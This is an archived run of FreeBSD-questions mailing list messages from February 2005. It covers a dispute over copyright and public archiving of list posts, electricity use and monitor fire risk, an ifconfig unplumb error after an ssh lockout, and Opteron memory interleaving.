Mon, 7 Feb 2005 17:07:55 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id z35so749761rne for ; Mon, 07 Feb 2005 09:07:54 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=j/2fYANuvr1MqEBYOrWHZpkMieHazoVRZyHRTfBMGM6wabYJszNQ1iV+UvFCigc0xkTfuMsftKkgjVXd6q/vyTPNEmMyNGjVWmeZtRB0H0iWZma3nhff3Vsnu7jMdX1n5zCFe3yuuVCdG1N7rf4S7M2Yioi53pv6+/vO+0N0Qbs= Received: by 10.38.11.60 with SMTP id 60mr49334rnk; Mon, 07 Feb 2005 09:07:54 -0800 (PST) Received: by 10.38.101.19 with HTTP; Mon, 7 Feb 2005 09:07:53 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 11:07:53 -0600 From: Eric Kjeldergaard To: freebsd-questions@freebsd.org In-Reply-To: <15310210442.20050207175034@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502061420.24415.krinklyfig@spymac.com> <1165136567.20050207171314@wanadoo.fr> <15310210442.20050207175034@wanadoo.fr> Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 17:07:56 -0000 > It doesn't matter where they go. It only matters where they may be > expected to go by someone writing to the newspaper. right. And in this case, the person expects it to go to untold and unnamed numbers of people who desire to see the message. Which is, after all, exactly who's seeing it. > EK> I think there may be a fundamental misunderstanding of media going on > EK> here. > > A mailing list isn't the press. That's why this is an analogy. I'm not saying that a mailing list is the press, in this case, it certainly doesn't carry news, really, it's more like the opinions section of a newspaper which is also not the press. > EK> Newspapers are printed on newspaper which gives them a very > EK> short lifespan. > > Most libraries and newspapers have archives going back for decades. Likewise, most mailing lists have archives going back for decades. > EK> More importantly, e-mail by its nature is delivered to mail servers > EK> which almost without exception store the mail to a persistent data > EK> store (often an hard disk). In this way, mail is archived (sometimes > EK> nearly permanently) and is not ephemeral at all. > > These archives are not accessible to the general public. Generally true, though there are exceptions. > Note that it is perfectly possible to set up a mailing list that forbids > local archiving, or any archiving at all. Some mailing lists have good > reason to do this. I simply don't see how a mailing list would forbid local archiving, that simply is how email works. The message goes out and sits on the computer that it was sent to. Certainly there is no way to outlaw it being stored on that server. [the next in regards to papers not publishing guidelines for submitting, but only a method] (the content must have accidentally gotten snipped) > EK> Many also do not. > > They take a greater risk. Perhaps they take a greater risk, or perhaps things are simpler than that. Perhaps, upon submitting something according to the simple instructions with intent for it to be published, it gets published as the general populous would expect...Often things are not complicated. -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 17:13:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 06CCB16A4CE for ; Mon, 7 Feb 2005 17:13:18 +0000 (GMT) Received: from mail.adventuras.no (mail.adventuras.no [194.63.250.215]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1B6B643D2D for ; Mon, 7 Feb 2005 17:13:17 +0000 (GMT) (envelope-from lars@adventuras.no) Received: from mail.adventuras.no (seven [127.0.0.1]) by mail.adventuras.no (8.12.10/8.12.10) with ESMTP id j17HD4Sd002872 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 7 Feb 2005 18:13:04 +0100 Received: (from apache@localhost) by mail.adventuras.no (8.12.10/8.12.10/Submit) id j17HD41D002870; Mon, 7 Feb 2005 18:13:04 +0100 Received: from 213.236.228.129 (SquirrelMail authenticated user lars); by mail.adventuras.no with HTTP; Mon, 7 Feb 2005 18:13:03 +0100 (CET) Message-ID: <64399.213.236.228.129.1107796383.squirrel@213.236.228.129> In-Reply-To: <1008235984.20050207170137@wanadoo.fr> References: <200502051745.25937.hindrich@worldchat.com> <20050205225512.GA78786@falcon.midgard.homeip.net> <20050207091209.D71459@maren.thelosingend.net> <20050207083428.GA22714@logik.ath.cx> <1008235984.20050207170137@wanadoo.fr> Date: Mon, 7 Feb 2005 18:13:03 +0100 (CET) From: "Lars Kristiansen" To: freebsd-questions@freebsd.org User-Agent: SquirrelMail/1.4.3a-1 X-Mailer: SquirrelMail/1.4.3a-1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Adventuras: du kan filtrere etter AdvSpamScore over 5-10 X-Adventuras-SpamCheck: not spam, SpamAssassin (score=-5.899, required 7, autolearn=not spam, ALL_TRUSTED -3.30, BAYES_00 -2.60) X-MailScanner-From: lars@adventuras.no Subject: Re: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 17:13:18 -0000 > Since the computers are necessary for both work and play, I consider > running them to be electricity wisely used. I do turn the monitors off > when I'm not home, but since they are all flat panels now, that > represents only a trivial amount of electricity. That reminds me: Please also consider fire hazards! I have had a CRT-monitor catching on fire. -- Hilsen Lars > > -- > Anthony > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 17:14:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0631316A4E7 for ; Mon, 7 Feb 2005 17:14:57 +0000 (GMT) Received: from complex.heavybit.com (complex.heavybit.com [216.127.86.87]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7CF3443D49 for ; Mon, 7 Feb 2005 17:14:56 +0000 (GMT) (envelope-from ken@rosewoodblues.com) Received: from [10.0.1.2] (c-24-98-140-190.atl.client2.attbi.com [24.98.140.190]) (authenticated) by complex.heavybit.com (8.11.6/8.11.6) with ESMTP id j17HEul12741 for ; Mon, 7 Feb 2005 09:14:56 -0800 Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: <1fc9b506f617981d9f5a1fafbcb76826@rosewoodblues.com> References: <1fc9b506f617981d9f5a1fafbcb76826@rosewoodblues.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <7ed01ca457d92b40ad5fd12cb04dbf87@rosewoodblues.com> Content-Transfer-Encoding: 7bit From: Ken Hawkins Date: Mon, 7 Feb 2005 12:14:50 -0500 To: " " X-Mailer: Apple Mail (2.619.2) Subject: Re: ifconfig: SIOCIFDESTROY: Invalid argument, was (undoing ifconfig plumb?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 17:14:57 -0000 ok i got back into the box however when i try; ifconfig em0 unplumb i receive: ifconfig: SIOCIFDESTROY: Invalid argument I was booted in the midst of the process (ssh kickoff) and think that I might have been partially done with the plumb and 'up' ifconfig steps. how can i undo all that 'plumb' and 'up' commands did for ifconfig? thanks, ken; On Feb 7, 2005, at 11:46 AM, Ken Hawkins wrote: > is this possible? i have a box that is unreachable now after I had ran > ifconfig em0 plumb command. > > I am in the midst of setting up a box that has multiple ip's on a > single ethernet connection with differing subnet masks however, in the > midst i got botted off the box (ssh kick) and BANG cannot get back > in! > > ssh: connect to host web1.prosoundweb.com port 22: No route to host > > I need to undo my screw up here. can anyone help out? > > thanks, > ken; > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 17:17:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9E99516A4CE for ; Mon, 7 Feb 2005 17:17:05 +0000 (GMT) Received: from thingy.apana.org.au (thingy.apana.org.au [203.12.237.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6711F43D53 for ; Mon, 7 Feb 2005 17:17:04 +0000 (GMT) (envelope-from fun@thingy.apana.org.au) Received: from fun by thingy.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1CyCVS-0003RB-00 for ; Tue, 08 Feb 2005 04:17:02 +1100 Date: Tue, 8 Feb 2005 04:17:02 +1100 To: freebsd-questions@freebsd.org Message-ID: <20050207171702.GP21722@thingy.apana.org.au> References: <200502061420.24415.krinklyfig@spymac.com> <849739867.20050207170757@wanadoo.fr> <20050207161015.GH21722@thingy.apana.org.au> <399973539.20050207171622@wanadoo.fr> <20050207163645.GK21722@thingy.apana.org.au> <351293826.20050207175318@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <351293826.20050207175318@wanadoo.fr> User-Agent: Mutt/1.5.6+20040907i From: David Gerard Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 17:17:05 -0000 Anthony Atkielski (atkielski.anthony@wanadoo.fr) [050208 03:53]: > David Gerard writes: > DG> I go to a site called google.com and I enter error messages > DG> verbatim, and often what comes back is a pile of mailing list posts. > DG> They are far superior to nothing. > No doubt, but they are far inferior to a formal, well-organized support > system. Actually, I most profitably apply it in my day job, which is administering Solaris ;-) The purpose of vendors is to say to your boss that you have an SLA; getting actual *support* out of anyone (with exceptions like NetApp) is something best avoided IME. > The lack of support and accountability is FreeBSD's greatest handicap > for corporate and mission-critical use. Certainly, the OS is solid and > reliable; but if and when it fails, there's nowhere to turn. Corporate arse-covering rather than actual support, but yeah. I am told the horrible tale of a friend who is having to shift a pile of servers from FreeBSD to Red Hat because Red Hat have SLAs and they couldn't find sufficiently corporate-looking support for FreeBSD that did. > This same problem afflicts just about all open-source software, and will > prove to be a limiting factor in the adoption of open source for the > forseeable future. The trick will be to get organisations offering SLAs interested in the program. Even then the fact that it's hard to undercut $0 is a powerful factor in its spread. That is, if fame is your interest; FreeBSD's is mostly to do a very nice operating system. NetBSD's interest is even less oriented in this direction - they want to produce a beautiful piece of computer science. > DG> Of course. However, I am pointing out that the searchable archive on > DG> the web is a fantastically useful thing and worth trying to > DG> preserve, not a minor detail not worth considering in the search for > DG> a resolution. > You can preserve it if you place it in the proper framework. But you > must also recognize that you may not be able to organize it exactly as > you wish without infringing the rights of others. Of course. However, I must also point out that avoiding what we at Wikipedia call copyright paranoia is also important. Is someone *actually likely* to sue? Will it be a lone nutter or will there be hundreds of people? What could be argued to be the reasonable expectation? What constitutes fair use? When can no harm no foul be likely to apply? These questions require actual Combat Lawyers and aren't going to be sorted out in idle mailing list chitchat. Realistically: a FreeBSD mailing list copyright apocalypse is not likely. If it seems likely, there are enough soft steps to take first. The sky is not in fact falling. - d. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 17:17:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6045F16A4CE; Mon, 7 Feb 2005 17:17:40 +0000 (GMT) Received: from mail.wolves.k12.mo.us (duey.wolves.k12.mo.us [207.160.214.9]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2596F43D46; Mon, 7 Feb 2005 17:17:40 +0000 (GMT) (envelope-from cdillon@wolves.k12.mo.us) Received: from localhost (localhost [127.0.0.1]) by mail.wolves.k12.mo.us (Postfix) with ESMTP id 8FEF41FE27; Mon, 7 Feb 2005 11:17:37 -0600 (CST) Received: from mail.wolves.k12.mo.us ([127.0.0.1]) by localhost (mail.wolves.k12.mo.us [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 35794-01-26; Mon, 7 Feb 2005 11:17:34 -0600 (CST) Received: by mail.wolves.k12.mo.us (Postfix, from userid 1001) id D9D131FE1E; Mon, 7 Feb 2005 11:17:34 -0600 (CST) Received: from localhost (localhost [127.0.0.1]) by mail.wolves.k12.mo.us (Postfix) with ESMTP id D69991A904; Mon, 7 Feb 2005 11:17:34 -0600 (CST) Date: Mon, 7 Feb 2005 11:17:34 -0600 (CST) From: Chris Dillon To: Scott Long In-Reply-To: <42044B92.4040102@freebsd.org> Message-ID: <20050207111200.G36249@duey.wolves.k12.mo.us> References: <000001c50a3c$50f2eba0$6800000a@r3140ca> <20050204103708.21608.qmail@web26801.mail.ukl.yahoo.com> <2fd864e05020419434705bf70@mail.gmail.com> <42044B92.4040102@freebsd.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: amavisd-new at wolves.k12.mo.us cc: amd64@freebsd.org cc: questions@freebsd.org cc: Astrodog cc: Claus Guttesen cc: Nathan Vidican Subject: Re: Intel EMT64 Xeon vs AMD Opteron X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 17:17:40 -0000 On Fri, 4 Feb 2005, Scott Long wrote: > With FreeBSD, it's a bit of a toss-up. There is no strong affinity > set or enforced between process memory and where the process is > running. Having some notion of affinity (i.e. NUMA support) would be > a good thing. Oh, and the 4+2 configurations are typically pretty > poor, regardless. For non-NUMA-aware operating systems, you should turn on Node Interleaving for the memory system which will spread the memory accesses across all processors. Hopefully all multi-processor Opteron system BIOSes will give you this option, my Tyan S2885 does. -- Chris Dillon - cdillon(at)wolves.k12.mo.us FreeBSD: The fastest, most open, and most stable OS on the planet - Available for IA32, IA64, AMD64, PC98, Alpha, and UltraSPARC architectures - PowerPC, ARM, MIPS, and S/390 under development - http://www.freebsd.org Q: Because it reverses the logical flow of conversation. A: Why is putting a reply at the top of the message frowned upon? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 17:25:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E068B16A4E8 for ; Mon, 7 Feb 2005 17:25:04 +0000 (GMT) Received: from smtp810.mail.sc5.yahoo.com (smtp810.mail.sc5.yahoo.com [66.163.170.80]) by mx1.FreeBSD.org (Postfix) with SMTP id 7FEC543D60 for ; Mon, 7 Feb 2005 17:25:04 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (krinklyfig@pacbell.net@64.173.27.163 with plain) by smtp810.mail.sc5.yahoo.com with SMTP; 7 Feb 2005 17:25:04 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org Date: Mon, 7 Feb 2005 09:25:01 -0800 User-Agent: KMail/1.7.2 References: <200502061420.24415.krinklyfig@spymac.com> <20050207161015.GH21722@thingy.apana.org.au> <399973539.20050207171622@wanadoo.fr> In-Reply-To: <399973539.20050207171622@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502070925.02289.krinklyfig@spymac.com> cc: Anthony Atkielski Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 17:25:05 -0000 On Monday 07 February 2005 08:16 am, Anthony Atkielski wrote: > David Gerard writes: > > DG> That would sorta suck. I know I write my questions and answers > with DG> a view to them being searchable on the web maybe months or > years DG> later, as I know how very grateful I am to those whose > archived DG> words have helped me before. > > Having to search an archive of e-mail messages as a substitute for > real support sucks to begin with. I've almost never found anything > useful when searching the archives, and even when I have, it takes > longer to find it in the archives than it does to just ask the > question again. If you want "real" support, that costs money, and it doesn't matter if you're talking about BSD, Linux, Windows, Solaris, etc. > DG> So it helps the copyright situation, but breaks the usefulness of > DG> any archive. > > The copyright situation is an unavoidable legal mandate, not an > option. You cannot defend against an infringement action by saying > that respecting copyright would have been inconvenient for you. Again, what are the damages? - jt From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 17:29:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D522816A4CE for ; Mon, 7 Feb 2005 17:29:21 +0000 (GMT) Received: from smtp815.mail.sc5.yahoo.com (smtp815.mail.sc5.yahoo.com [66.163.170.1]) by mx1.FreeBSD.org (Postfix) with SMTP id 992A743D58 for ; Mon, 7 Feb 2005 17:29:21 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp815.mail.sc5.yahoo.com with SMTP; 7 Feb 2005 17:29:21 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org Date: Mon, 7 Feb 2005 09:29:19 -0800 User-Agent: KMail/1.7.2 References: <200502061420.24415.krinklyfig@spymac.com> <1069313008.20050207173736@wanadoo.fr> In-Reply-To: <1069313008.20050207173736@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502070929.19710.krinklyfig@spymac.com> cc: Anthony Atkielski Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 17:29:21 -0000 On Monday 07 February 2005 08:37 am, Anthony Atkielski wrote: > Eric Kjeldergaard writes: > > EK> To see the collection of prior postings to the list, visit the > EK> freebsd-questions Archives. > EK> > EK> Since we are discussing implicit contracts, I would think that > the EK> announcement that the collection of prior postings is linked > to and EK> mentioned/described to be reasonable notification that the > mailing EK> list gets archived. > > It's not. And there must be no other way of subscribing in order for > this method to be valid, anyway. > > Why do you think that software companies and Web sites and other > organizations require you to check a box to accept terms and > conditions, instead of just assuming that you read and understand > them when they are displayed? Since this is a volunteer organization, and it seems to me that you have the most interest in it, and if you refuse to let this go, then I have a suggestion. Hire a lawyer and write up a legally sound plan, and then submit it. Until then, you're demanding things of people that simply aren't going to happen, just because you demand it. - jt From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 17:35:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A54C416A4CE for ; Mon, 7 Feb 2005 17:35:04 +0000 (GMT) Received: from smtp814.mail.sc5.yahoo.com (smtp814.mail.sc5.yahoo.com [66.163.170.84]) by mx1.FreeBSD.org (Postfix) with SMTP id 2705443D2F for ; Mon, 7 Feb 2005 17:35:04 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp814.mail.sc5.yahoo.com with SMTP; 7 Feb 2005 17:35:03 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org Date: Mon, 7 Feb 2005 09:34:59 -0800 User-Agent: KMail/1.7.2 References: <200502061420.24415.krinklyfig@spymac.com> <1165136567.20050207171314@wanadoo.fr> In-Reply-To: <1165136567.20050207171314@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502070935.00086.krinklyfig@spymac.com> cc: Anthony Atkielski Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 17:35:04 -0000 On Monday 07 February 2005 08:13 am, Anthony Atkielski wrote: > Eric Kjeldergaard writes: > EK> I don't see that a mailing list would need such a thing. The > EK> submissions are given under the understanding that they shall be > EK> publicly available both to subscribers and non subscribers in > their EK> favourite restaurants and libraries. > > There is no such understanding with respect to a mailing list. Do you have examples of case law to back up your assertion? - jt From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 17:40:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A557C16A4CE for ; Mon, 7 Feb 2005 17:40:38 +0000 (GMT) Received: from addr9.addr.com (addr9.addr.com [209.249.147.40]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5FE9843D1D for ; Mon, 7 Feb 2005 17:40:38 +0000 (GMT) (envelope-from markzero@logik.ath.cx) Received: from logik.ath.cx (localhost [127.0.0.1])j17HhEWb094407 for ; Mon, 7 Feb 2005 09:43:15 -0800 (PST) Received: by logik.ath.cx (Postfix, from userid 1001) id 0702B63FD; Mon, 7 Feb 2005 17:39:34 +0000 (UTC) Date: Mon, 7 Feb 2005 17:39:34 +0000 From: markzero To: freebsd-questions@freebsd.org Message-ID: <20050207173934.GA7395@logik.ath.cx> References: <200502051745.25937.hindrich@worldchat.com> <20050205225512.GA78786@falcon.midgard.homeip.net> <20050207091209.D71459@maren.thelosingend.net> <20050207083428.GA22714@logik.ath.cx> <1008235984.20050207170137@wanadoo.fr> <64399.213.236.228.129.1107796383.squirrel@213.236.228.129> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="pf9I7BMVVzbSWLtt" Content-Disposition: inline In-Reply-To: <64399.213.236.228.129.1107796383.squirrel@213.236.228.129> X-OS: FreeBSD 5.3-RELEASE-p5 i386 LOGIK005 X-GPG-Key: http://darklogik.org/pub/pgp/pgp.txt X-Fingerprint: B776 43DC 8A5D EAF9 2126 9A67 A7DA 390F DEFF 9DD1 User-Agent: Mutt/1.5.7i X-ADDRSpamFilter: Passed, probability (0%) X-ADDRSignature: 31B17F53 Subject: Re: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 17:40:38 -0000 --pf9I7BMVVzbSWLtt Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable > > Since the computers are necessary for both work and play, I consider > > running them to be electricity wisely used. I do turn the monitors off > > when I'm not home, but since they are all flat panels now, that > > represents only a trivial amount of electricity. >=20 > That reminds me: > Please also consider fire hazards! > I have had a CRT-monitor catching on fire. Of course, I forgot to mention that all the machines are connected to a KVM switch arrangement - one monitor which is constantly off (emergency console access only). The KVM switch arrangement is an exciting exercise in spaghetti cable contortion, being two four port switches attached to a two port switch. These switches should technically not be able to work without a power supply but evidently they work just fine. I don't question the arrangement, I just observe it from across the room. We get along fine. Mark --=20 PGP: http://www.darklogik.org/pub/pgp/pgp.txt B776 43DC 8A5D EAF9 2126 9A67 A7DA 390F DEFF 9DD1 --pf9I7BMVVzbSWLtt Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iQIVAwUBQgen1afaOQ/e/53RAQLHpRAAp1Tkuf93X2LGCLhhyXZyyegtKw8k0lkc 3MAqjomy5fnNjOooVXxDBGObab1GmEvXvtBTuiWSYdV9pKVdJLUDyncZAuRE9mb3 ueWD4sx9Wg6X26l1pNxoQJO0dW9eL2iJ1hZJCV2aP+ir2rOONTUzVB4wGUhKMuYI OcsbhuzrTDVEuvyuC2faeaUWvDjXJfy09jAzUfM3iF6mlOzqU0Q7grLcXQcky2b+ +sHaBqLjLqCD6Uf05rvcnK6P2brNuLZv29KkKDdGJDGQ2v4T/VnNF9g8s2XVMUwp dxYLNxEWazJ8loDp5xi6asmHwufO1ck3me+1uv+0NUcH5OeaSK2JmvUc1cUbQ9L+ tDpPGGQSzYD1fEN9IlGVM9kcWYYmHQ6jewaJEpWDxQ4EEmzECro0zxuhkcpcd0gK h/H7+h6JsRvFskzIUgqBp3eb76cv3nIMO2pMlcox4hRhp2jxRoF9LL9ip5Cm04OS Pbc8RgkSYR+XVaRmHL7+ce9vTjZPNNmFPEw4UZcwO3QfwLov8EItZN641kdKr4gO gbfyO2o24l2LunfgNLqqZ8fH7gXSZn4C2xlfWFAaD0CPW54Xy7E38oRV69kd/ybg mOpm4K8slJGVjaTMNZSy+sSu6Gt7alKfzYYF/eBsHUQKSZorwW2YKLQfxtEDl+Im 2SM7BjbmR/s= =y0g+ -----END PGP SIGNATURE----- --pf9I7BMVVzbSWLtt-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 17:48:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CF34416A4CE for ; Mon, 7 Feb 2005 17:48:05 +0000 (GMT) Received: from mail.chrononomicon.com (chrononomicon.com [216.37.143.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6B7C743D4C for ; Mon, 7 Feb 2005 17:48:05 +0000 (GMT) (envelope-from bsilver@chrononomicon.com) Received: from [127.0.0.1] (unknown [192.168.0.42]) by mail.chrononomicon.com (Postfix) with ESMTP id E7DD0340BE0 for ; Mon, 7 Feb 2005 12:47:59 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: References: <200502061420.24415.krinklyfig@spymac.com> <1165136567.20050207171314@wanadoo.fr> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Bart Silverstrim Date: Mon, 7 Feb 2005 12:47:59 -0500 To: FreeBSD Questions X-Mailer: Apple Mail (2.619.2) Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 17:48:05 -0000 On Feb 7, 2005, at 11:30 AM, Eric Kjeldergaard wrote: >> EK> Let us make an analogue betwixt our Valerie and one who submits >> to the >> EK> local newspaper. There is a roughly equal level of consent given >> in >> EK> both cases ... >> >> Not so, on two points: (1) the newspaper is obviously available to >> anyone (it's on the newsstands), and not only to a selected group, and > > Not always so, I know of many newspapers that go to subscribers only > (which local libraries are often among). This is especially true of > places without newstands. Given that the it is rather common sense that the Internet has a long memory about things, and that this is a mailing list going out to any wazoo who subscribes, and that there are archives that are known to exist by anyone who bothers to take a few moments to look at what they're getting into by posting, and that people have been quoted and quoted and quoted so many times from the previous posts that it would be nearly impossible to purge a person's entire transcript from each and every message out there in which it's been quoted short of an EM burst that would wipe out every computers' hard drive on the planet, as well as the difficulty in getting copyright agreements to stick equally to me, you, and Ichabod in the country of Elbonia, wouldn't it make sense just to say, "If you don't want it known to everyone, encrypt it...if you want people's help, post it in cleartext, and risk it forever quoting the fact that you were at some point ignorant of a subject and asking for help"? I mean, how many people have even touched on the subject of "copyright infringment" by the fact that I am quoting two other people in this message, and this is something done CONSTANTLY with hundreds of thousands of messages out there? You give consent by letting your words fly out there. You sent it, I got it, don't want me to read it, shoulda' encrypted it or not sent it at all. c'mon...sending to a mailing list where there are little if any safeguards to restrict access kinda' should imply that you're giving consent for others to get the messages and may reproduce it. Hell, if anything, it's a safeguard. I've seen some people on Usenet that have used the Google cache to point out where someone twisted or altered quoting of their original messages so the fact that it's archived and mirrored *helped* them prove they said what they claimed. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 17:51:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C516A16A4CE for ; Mon, 7 Feb 2005 17:51:06 +0000 (GMT) Received: from mail.chrononomicon.com (chrononomicon.com [216.37.143.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7148C43D39 for ; Mon, 7 Feb 2005 17:51:06 +0000 (GMT) (envelope-from bsilver@chrononomicon.com) Received: from [127.0.0.1] (unknown [192.168.0.42]) by mail.chrononomicon.com (Postfix) with ESMTP id 4A045340C22 for ; Mon, 7 Feb 2005 12:51:02 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: <1069313008.20050207173736@wanadoo.fr> References: <200502061420.24415.krinklyfig@spymac.com> <849739867.20050207170757@wanadoo.fr> <1069313008.20050207173736@wanadoo.fr> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Bart Silverstrim Date: Mon, 7 Feb 2005 12:51:01 -0500 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619.2) Subject: Re: favor 